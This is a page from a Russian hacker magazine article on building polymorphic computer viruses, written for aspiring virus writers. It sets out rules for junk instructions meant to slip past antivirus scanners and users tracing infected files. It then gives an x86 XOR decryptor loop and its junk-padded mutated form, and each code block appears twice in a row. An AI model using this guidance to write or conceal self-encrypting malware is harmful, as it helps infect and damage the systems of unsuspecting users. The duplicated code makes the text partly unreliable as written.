|

Технология шифрования
Докучаев Дмитрий aka Forb
Спецвыпуск Xakep, номер #035, стр. 035-036-3
Практика
Любой может написать хороший полиморфный вирус. Необходимо лишь немного разбираться в ассемблере. На создание среднего полиморфика тратится не более шести часов. Хочешь попробовать? Тогда послушай ряд рекомендаций по составлению алгоритмов твоего будущего виря и расшифровщика.
Очень проста реализация поиска зеркальных команд. Для этого необходимо создать сводную таблицу с операндами. К ней должна прилагаться дополнительная информация: наличие зеркала, необходимость замены команды и прочее. Если человек немного понимает в вирмейкинге и ассемблере, то составить подобную таблицу ему будет несложно. С командами-мусором можно поступить аналогичным образом, как и с зеркалами.
Кстати о мусоре. К таким инструкциям прилагается ряд ограничений, которые должен исполнять каждый вирусописатель, чтобы его творение работало как следует. Итак, команда не должна:
1. Передавать управление за внешнюю программу. То есть управлять кодом может лишь расшифровщик и никто другой. Если нарушить это правило - вирус будет замечен.
2. Изменять регистры, которые используют рабочие команды. Сам понимаешь, мусор есть мусор и он никоим образом не должен пересекаться с правильным кодом.
3. Вызывать фатальные ошибки, а также генерировать исключения, так как это остановит работу расшифровщика, либо сделает ее неверной.
Смысл всех правил сводится к одному - мусор не должен мешать процессу расшифровки кода, а лишь радовать глаз антивируса и неопытного пользователя, трассирующего зараженный файл.
Еще один полезный совет: ставь нерабочую команду после цикла, но перед шифрованным кодом - это избавит от некоторых проблем с конвейером у процессоров Pentium.
Ну, а теперь рассмотрим и вовсе конкретный пример. Пусть у нас есть самый что ни на есть элементарный расшифровщик:
mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
_begin_loop:
xor dword ptr [edi],eax
add edi,4
loop _begin_loop
mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
_begin_loop:
xor dword ptr [edi],eax
add edi,4
loop _begin_loop
Теперь посмотрим, что же может сделать наш полиморфный движок с этим кодом (с учетом всего того, что я писал выше):
shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
В этом коде звездочками отмечены исходные инструкции. Конечно, антивируснику обнаружить такой код будет несложно, но гораздо сложнее, чем обычный, незащищенный.
Назад на стр. 035-036-2 Содержание Вперед на стр. 035-036-4
|